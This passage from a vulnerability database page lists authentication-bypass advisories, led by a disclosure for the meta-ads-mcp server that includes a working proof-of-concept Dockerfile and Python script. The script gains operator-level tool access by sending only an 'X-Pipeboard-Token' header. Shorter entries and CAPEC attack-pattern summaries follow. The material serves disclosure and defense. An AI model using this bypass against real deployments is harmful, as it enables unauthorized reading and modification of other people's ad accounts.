`FAKE_OPERATOR_META_TOKEN` was sent to Meta Graph API, proving the full operator-token reuse path.\n\n### Impact\n\nThis is an **authentication bypass** vulnerability. Any network-reachable caller that can send an HTTP request with an arbitrary `X-Pipeboard-Token` header can:\n\n- **Read** all Meta Ads data accessible to the server operator (ad accounts, campaigns, creatives, audiences, insights).\n- **Write** Meta Ads resources (create/update campaigns, ads, budgets) as the operator.\n- **Exfiltrate the operator\u0027s identity** via Meta Graph API error responses that reference the token.\n\nOperators who deploy `meta-ads-mcp` in `--transport streamable-http` mode with `META_ACCESS_TOKEN` configured \u2014 the documented and recommended production setup \u2014 are directly affected. Deployments using the default `stdio` transport or those without `META_ACCESS_TOKEN` set are not affected.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC: X-Pipeboard-Token Auth Bypass (CWE-287)\n# Runs meta-ads-mcp in streamable-http mode with a fake operator META_ACCESS_TOKEN.\n# The server enforces auth via AuthInjectionMiddleware, but the bypass allows\n# X-Pipeboard-Token alone to pass the middleware and reach tool handlers,\n# which then fall back to the operator\u0027s META_ACCESS_TOKEN.\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Install system dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n curl \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# Copy repository source (build context must be the repo root)\nCOPY . /app\n\n# Install the package and its dependencies\nRUN pip install --no-cache-dir -e .\n\n# Fake operator token: length \u003e= 20 so the server\u0027s basic validation passes.\n# This is NOT a real Meta token \u2014 used only to prove the bypass path\n# that reaches auth.py:446-453 (META_ACCESS_TOKEN fallback).\nENV META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890\nENV META_APP_ID=999999999999999\n\n# Disable any browser-launch attempts during startup\nENV DISPLAY=\n\nEXPOSE 8080\n\n# Start the MCP server with streamable-http transport.\n# --host 0.0.0.0 is required so the container port is reachable from the host.\nCMD [\"python\", \"-m\", \"meta_ads_mcp\", \\\n \"--transport\", \"streamable-http\", \\\n \"--host\", \"0.0.0.0\", \\\n \"--port\", \"8080\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token\n\nCVE class : CWE-287 Improper Authentication\nPackage : meta-ads-mcp 1.0.113\nFile : meta_ads_mcp/core/http_auth_integration.py:259\n\nVulnerability summary\n---------------------\nAuthInjectionMiddleware rejects requests only when BOTH auth_token AND\npipeboard_token are absent (line 259):\n if not auth_token and not pipeboard_token:\n return Response(status_code=401)\n\nextract_token_from_headers() (lines 77-95) does NOT recognise the\n\"X-Pipeboard-Token\" header \u2014 only \"Authorization: Bearer\",\n\"X-META-ACCESS-TOKEN\", and \"X-PIPEBOARD-API-TOKEN\".\n\nextract_pipeboard_token_from_headers() (line 108) DOES recognise\n\"X-Pipeboard-Token\".\n\nConsequence: an attacker that sends only \"X-Pipeboard-Token: \u003canything\u003e\"\nmakes auth_token=None and pipeboard_token=\"\u003canything\u003e\". The bypass\ncondition becomes:\n if not None and not \"\u003canything\u003e\": # False \u2014 request passes\nNo auth context is set; the token getter (http_auth_integration.py:163-168)\nfalls back to get_current_access_token() in auth.py which returns the server\noperator\u0027s META_ACCESS_TOKEN (auth.py:446-453). Tool calls then run as the\noperator.\n\nExpected evidence\n-----------------\nTest 1 No auth header \u2192 HTTP 401 from middleware\nTest 2 X-Pipeboard-Token: \u003cattacker value\u003e \u2192 HTTP != 401 from MCP layer\n (proves bypass; further tool calls use operator token)\n\nUsage\n-----\nThe MCP server must already be running and reachable at 127.0.0.1:8080.\n docker run -d -p 8080:8080 --name vuln001 vuln001-meta-ads-mcp\n python3 poc.py\n\"\"\"\n\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n# ---------------------------------------------------------------------------\n# Default server URL; override via first CLI arg: python3 poc.py http://host:port/mcp\nimport os as _os\n\n_DEFAULT_URL = \"http://127.0.0.1:8080/mcp\"\nSERVER_URL = (\n sys.argv[1] if len(sys.argv) \u003e 1 else _os.environ.get(\"MCP_SERVER_URL\", _DEFAULT_URL)\n)\n# Arbitrary attacker-controlled value \u2014 NOT validated by the server\nATTACKER_PIPEBOARD_TOKEN = \"attacker-controlled-not-validated-xyz1234567890\"\nSERVER_READY_TIMEOUT = 90 # seconds\n# ---------------------------------------------------------------------------\n\n\ndef http_post(url: str, headers: dict, body: dict) -\u003e tuple:\n \"\"\"Send a JSON-encoded POST request; return (http_status, response_text).\"\"\"\n data = json.dumps(body).encode()\n req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n try:\n with urllib.request.urlopen(req, timeout=10) as resp:\n return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n except urllib.error.HTTPError as exc:\n return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")\n except Exception as exc:\n return None, str(exc)\n\n\ndef wait_for_server(timeout: int = SERVER_READY_TIMEOUT) -\u003e bool:\n \"\"\"\n Poll until the server returns any HTTP response (even 401).\n Returns True when ready, False on timeout.\n \"\"\"\n deadline = time.time() + timeout\n attempt = 0\n while time.time() \u003c deadline:\n status, _ = http_post(\n SERVER_URL,\n {\"Content-Type\": \"application/json\"},\n {\"jsonrpc\": \"2.0\", \"id\": 0, \"method\": \"ping\"},\n )\n if status is not None:\n return True\n attempt += 1\n if attempt % 5 == 0:\n elapsed = int(time.time() - (deadline - timeout))\n print(f\" ... still waiting ({elapsed}s elapsed)\")\n time.sleep(1)\n return False\n\n\ndef run_test(label: str, headers: dict, payload: dict) -\u003e tuple:\n \"\"\"Run one request, print result, and return (status, body).\"\"\"\n print(f\"\\n[*] {label}\")\n status, body = http_post(SERVER_URL, headers, payload)\n print(f\" HTTP Status : {status}\")\n # Print up to 600 chars so long MCP responses are readable\n print(f\" Response : {body[:600]}\")\n return status, body\n\n\ndef main() -\u003e int:\n print(\"=\" * 65)\n print(\"VULN-001 PoC: X-Pipeboard-Token Auth Bypass\")\n print(\"meta-ads-mcp 1.0.113 | CWE-287 Improper Authentication\")\n print(\"=\" * 65)\n\n # -----------------------------------------------------------------------\n print(\"\\n[*] Waiting for MCP server to be ready ...\")\n if not wait_for_server():\n print(f\"[-] ERROR: Server did not respond within {SERVER_READY_TIMEOUT}s\")\n return 2\n print(\"[+] Server is ready\")\n\n # Common headers for all requests\n base_headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json, text/event-stream\",\n }\n\n # A minimal MCP JSON-RPC payload. In stateless-HTTP mode the server\n # processes each request independently; tools/list does not require a\n # prior initialize handshake.\n list_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/list\",\n \"params\": {},\n }\n\n # -----------------------------------------------------------------------\n # Test 1: No authentication \u2014 must be rejected with 401\n # -----------------------------------------------------------------------\n status1, body1 = run_test(\n \"Test 1: POST /mcp \u2014 no auth header at all\",\n base_headers,\n list_payload,\n )\n\n if status1 != 401:\n print(f\"[-] UNEXPECTED: Expected HTTP 401 without auth, got {status1}\")\n print(\" Middleware may not be active. Cannot assess bypass.\")\n return 2\n\n try:\n parsed = json.loads(body1)\n if parsed.get(\"error\") != \"Unauthorized\":\n print(\"[-] UNEXPECTED body (expected {\\\"error\\\": \\\"Unauthorized\\\"})\")\n return 2\n except json.JSONDecodeError:\n pass # Body format is secondary evidence\n\n print(\"[+] CONFIRMED: No-auth request correctly rejected with HTTP 401\")\n\n # -----------------------------------------------------------------------\n # Test 2: Only X-Pipeboard-Token \u2014 must NOT be 401 if bypass works\n #\n # Vulnerability logic (http_auth_integration.py:259):\n # auth_token = extract_token_from_headers(headers) -\u003e None\n # pipeboard_token = extract_pipeboard_token_from_headers(headers) -\u003e ATTACKER_VALUE\n # if not None and not ATTACKER_VALUE: # evaluates False -\u003e request passes\n # # set_auth_token() never called -\u003e auth context stays None\n # # tool getter falls back to META_ACCESS_TOKEN env var\n # -----------------------------------------------------------------------\n bypass_headers = {\n **base_headers,\n \"X-Pipeboard-Token\": ATTACKER_PIPEBOARD_TOKEN,\n }\n status2, body2 = run_test(\n f\"Test 2: POST /mcp \u2014 only X-Pipeboard-Token: {ATTACKER_PIPEBOARD_TOKEN}\",\n bypass_headers,\n list_payload,\n )\n\n if status2 == 401:\n print(\"\\n[-] BYPASS FAILED: Got HTTP 401 with X-Pipeboard-Token.\")\n print(\" The vulnerability may have been patched on this build.\")\n return 1\n\n print(f\"\\n[+] AUTH BYPASS CONFIRMED: HTTP {status2} (not 401)\")\n print(\" The middleware accepted the request with X-Pipeboard-Token alone.\")\n print(\" auth_token was None -\u003e set_auth_token() not called -\u003e\")\n print(\" get_auth_token() returns None -\u003e META_ACCESS_TOKEN fallback active.\")\n\n # Extra detail: check if we can see MCP tool names in the response\n try:\n parsed2 = json.loads(body2)\n tools = parsed2.get(\"result\", {}).get(\"tools\", [])\n if tools:\n print(f\"\\n MCP tools/list returned {len(tools)} tools (server fully reachable):\")\n for t in tools[:5]:\n print(f\" - {t.get(\u0027name\u0027, \u0027?\u0027)}\")\n except Exception:\n pass\n\n # -----------------------------------------------------------------------\n # Test 3: tools/call get_ad_accounts \u2014 operator token forwarded to Meta\n # The Meta Graph API will reject the FAKE token, but the error response\n # proves the request reached Meta (not the local 401 guard).\n # -----------------------------------------------------------------------\n call_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"get_ad_accounts\",\n \"arguments\": {\"limit\": 1},\n },\n }\n status3, body3 = run_test(\n \"Test 3: tools/call get_ad_accounts with X-Pipeboard-Token only\",\n bypass_headers,\n call_payload,\n )\n\n if status3 != 401:\n print(f\"\\n[+] OPERATOR TOKEN CONFIRMED IN USE: HTTP {status3}\")\n print(\" The tool call was not blocked locally. The server forwarded\")\n print(\" the request to Meta Graph API using META_ACCESS_TOKEN.\")\n if \"OAuthException\" in body3 or \"Invalid OAuth\" in body3:\n print(\" Meta Graph API returned an OAuthException about the\")\n print(\" FAKE_OPERATOR_META_TOKEN \u2014 confirming the token was forwarded.\")\n elif \"error\" in body3.lower():\n print(\" Meta Graph API (or MCP layer) returned an error response\")\n print(\" \u2014 the request reached the tool handler, not the local 401 guard.\")\n else:\n print(\"[!] Note: tools/call returned 401 \u2014 may need MCP initialize first\")\n\n # -----------------------------------------------------------------------\n print(\"\\n\" + \"=\" * 65)\n print(\"RESULT: PASS \u2014 VULN-001 reproduced\")\n print()\n print(\"Evidence:\")\n print(f\" Test 1 (no header) -\u003e HTTP {status1} (blocked by middleware)\")\n print(f\" Test 2 (X-Pipeboard-Token) -\u003e HTTP {status2} (BYPASSES middleware)\")\n print()\n print(\"The distinction proves that AuthInjectionMiddleware at\")\n print(\"http_auth_integration.py:259 is the exploitable boundary.\")\n print(\"An attacker can reach all MCP tools as the server operator by\")\n print(\u0027sending any value in the \"X-Pipeboard-Token\" header.\u0027)\n print(\"=\" * 65)\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-2v2f-mvfg-ph56",
"modified": "2026-07-17T18:48:54Z",
"published": "2026-07-17T18:48:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-2v2f-mvfg-ph56"
},
{
"type": "PACKAGE",
"url": "https://github.com/pipeboard-co/meta-ads-mcp"
},
{
"type": "WEB",
"url": "https://github.com/pipeboard-co/meta-ads-mcp/releases/tag/1.0.115"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "meta-ads-mcp: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token"
}
GHSA-2V55-QCX6-C482
Vulnerability from github – Published: 2022-05-13 01:32 – Updated: 2022-05-13 01:32Improper Authentication in Nextcloud Server prior to version 12.0.3 would allow an attacker that obtained user credentials to bypass the 2 Factor Authentication.
{
"affected": [],
"aliases": [
"CVE-2018-3775"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-12T22:29:00Z",
"severity": "HIGH"
},
"details": "Improper Authentication in Nextcloud Server prior to version 12.0.3 would allow an attacker that obtained user credentials to bypass the 2 Factor Authentication.",
"id": "GHSA-2v55-qcx6-c482",
"modified": "2022-05-13T01:32:20Z",
"published": "2022-05-13T01:32:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3775"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/248656"
},
{
"type": "WEB",
"url": "https://nextcloud.com/security/advisory/?id=NC-SA-2018-007"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2V56-G578-78G2
Vulnerability from github – Published: 2025-03-03 21:31 – Updated: 2025-03-03 21:31A vulnerability was found in i-Drive i11 and i12 up to 20250227. It has been classified as problematic. Affected is an unknown function of the component Device Pairing. The manipulation leads to authentication bypass by primary weakness. It is possible to launch the attack on the physical device. The complexity of an attack is rather high. The exploitability is told to be difficult. It was not possible to identify the current maintainer of the product. It must be assumed that the product is end-of-life.
{
"affected": [],
"aliases": [
"CVE-2025-1880"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-03T20:15:45Z",
"severity": "LOW"
},
"details": "A vulnerability was found in i-Drive i11 and i12 up to 20250227. It has been classified as problematic. Affected is an unknown function of the component Device Pairing. The manipulation leads to authentication bypass by primary weakness. It is possible to launch the attack on the physical device. The complexity of an attack is rather high. The exploitability is told to be difficult. It was not possible to identify the current maintainer of the product. It must be assumed that the product is end-of-life.",
"id": "GHSA-2v56-g578-78g2",
"modified": "2025-03-03T21:31:01Z",
"published": "2025-03-03T21:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1880"
},
{
"type": "WEB",
"url": "https://github.com/geo-chen/i-Drive"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.298194"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.298194"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.510951"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:P/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2V5C-2QR6-W2PV
Vulnerability from github – Published: 2023-06-23 12:30 – Updated: 2024-04-04 05:06Dell BIOS contains an improper authentication vulnerability. A locally authenticated malicious user may potentially exploit this vulnerability by bypassing certain authentication mechanisms in order to elevate privileges on the system.
{
"affected": [],
"aliases": [
"CVE-2023-28073"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-23T11:15:09Z",
"severity": "HIGH"
},
"details": "\nDell BIOS contains an improper authentication vulnerability. A locally authenticated malicious user may potentially exploit this vulnerability by bypassing certain authentication mechanisms in order to elevate privileges on the system.\n\n",
"id": "GHSA-2v5c-2qr6-w2pv",
"modified": "2024-04-04T05:06:22Z",
"published": "2023-06-23T12:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28073"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000213032/dsa-2023-160-dell-client"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2V6M-44MF-8673
Vulnerability from github – Published: 2022-05-02 03:58 – Updated: 2025-04-11 03:34Unspecified vulnerability in OpenX 2.8.1 and 2.8.2 allows remote attackers to bypass authentication and obtain access to an Administrator account via unknown vectors, possibly related to www/admin/install.php, www/admin/install-plugins.php, and other www/admin/ files.
{
"affected": [],
"aliases": [
"CVE-2009-4830"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-04-27T15:30:00Z",
"severity": "HIGH"
},
"details": "Unspecified vulnerability in OpenX 2.8.1 and 2.8.2 allows remote attackers to bypass authentication and obtain access to an Administrator account via unknown vectors, possibly related to www/admin/install.php, www/admin/install-plugins.php, and other www/admin/ files.",
"id": "GHSA-2v6m-44mf-8673",
"modified": "2025-04-11T03:34:23Z",
"published": "2022-05-02T03:58:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4830"
},
{
"type": "WEB",
"url": "http://blog.openx.org/12/security-matters-2"
},
{
"type": "WEB",
"url": "http://forum.openx.org/index.php?showtopic=503454011"
},
{
"type": "WEB",
"url": "http://osvdb.org/61300"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/37914"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/37457"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.